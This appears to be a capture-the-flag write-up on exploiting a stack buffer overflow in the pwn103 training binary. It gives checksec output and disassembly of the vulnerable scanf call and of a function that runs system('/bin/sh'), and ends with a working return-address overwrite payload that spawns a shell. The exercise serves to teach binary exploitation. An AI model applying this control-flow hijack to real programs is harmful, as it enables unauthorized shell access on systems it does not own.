

Stack Smashing Attack:

It allows local and remote overwriting of the return address to make it jump to the specified address and implements control flow hijacking.

Taking pwn103 as an example:

the protection strategy and vulnerability cause are analyzed, and exp is constructed.

Protection policy: No stack frame optimization, NX enabled, canary and PIE disabled.

```
root@debian:~/Documents/Security/Vulns/attacklab# checksec --file=./pwn103
RELRO      STACK Canary  NX  PIE  RPATH  RUNPATH  Symbols
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  56 Symbols
```

Cause of vulnerability:

There is a stack overflow in the general function, and the scanf function stores the input string at rbp-0x20 and overwrites it to the return address. The instruction `lea rax,[s1]` assigns the address `s1` to `rax`.

```
sym.general ();
→ ; var char *s1 @ rbp-0x20
0x004012be 55          push rbp
0x004012bf 4889e5      mov rbp, rsp
0x004012c2 4883ec20    sub rsp, 0x20
0x004012c6 488d05dd1000. lea rax, [0x004023aa] ; "\n\U0001f5e3 General:\n"
0x004012cd 4889c7      mov rdi, rax ; const char *s
0x004012d0 e86bfdffff. call sym.imp.puts ; int puts(const char *s)
0x004012d5 488d05e41000. lea rax, str.____jopraveen_ : Hello_pwners_ ; 0x4023c0 ; "-"
0x004012dc 4889c7      mov rdi, rax ; const char *s
0x004012df e85cfdffff. call sym.imp.puts ; int puts(const char *s)
0x004012e4 488d05fd1000. lea rax, str.____jopraveen_ : Hope_youre_doing_well_ ; 0x4023c0 ; "-"
0x004012eb 4889c7      mov rdi, rax ; const char *s
0x004012ee e84dfdffff. call sym.imp.puts ; int puts(const char *s)
0x004012f3 488d051e1100. lea rax, str.____jopraveen_ : You_found_the_vuln_right_ ; 0x4023c0 ; "-"
0x004012fa 4889c7      mov rdi, rax ; const char *s
0x004012fd e83efdffff. call sym.imp.puts ; int puts(const char *s)
0x00401302 488d05431100. lea rax, str.____pwner_ : 0x40244c ; "-----[pwner]: "
0x00401309 4889c7      mov rdi, rax ; const char *format
0x0040130c b800000000. mov eax, 0
0x00401311 e84afdffff. call sym.imp.printf ; int printf(const char *format)
0x00401316 488d45e0    lea rax, [s1] ←
0x0040131a 4889c6      mov rsi, rax
0x0040131d 488d05381100. lea rax, [0x0040245c] ; "%s"
0x00401324 4889c7      mov rdi, rax ; const char *format
0x00401327 b800000000. mov eax, 0
0x0040132c e86ffdffff. call sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00401331 488d45e0    lea rax, [s1]
```

Moreover, there is a call to `system("/bin/sh")` in the `admin_only` function in the program. Since PIE is not opened, the `admins_only` address is fixed to `0x401554`, and the `"/bin/sh"` instruction address is `0x40157a`.

```

[0x004010b0]> s sym.admins_only
[0x00401554]> pdf
56: sym.admins_only ();
0x00401554 55          push rbp
0x00401555 4889e5      mov rbp, rsp
0x00401558 4883ec10    sub rsp, 0x10
0x0040155c 488d05041d00. lea rax, str._n_Admins_only: n ; 0x403267 ; "\n\U0001f46e Admins only:\n"
0x00401563 4889c7      mov rdi, rax ; const char *s
0x00401566 e8d5faffff call sym.imp.puts ; int puts(const char *s)
0x0040156b 488d050a1d00. lea rax, str.Welcome_admin_ ; 0x40327c ; "Welcome admin \U0001f604"
0x00401572 4889c7      mov rdi, rax ; const char *s
0x00401575 e8c6faffff call sym.imp.puts ; int puts(const char *s)
➔ 0x0040157a 488d050e1d00. lea rax, str._bin_sh ; 0x40328f ; "/bin/sh"
0x00401581 4889c7      mov rdi, rax ; const char *string
0x00401584 e8c7faffff call sym.imp.system ; int system(const char *string)
0x00401589 90          nop
0x0040158a c9          leave
0x0040158b c3          ret

```

Construct exp103.cpp:

The stack overflow overwrites from the lower address to the higher address. First, the `nop*(0x20+0x8)` is constructed to overwrite the old `rbp`, then the 8-byte `0x40157a` is constructed to overwrite the return address.

payload=`nop*(0x20+0x8)+0x00000000000040157a`.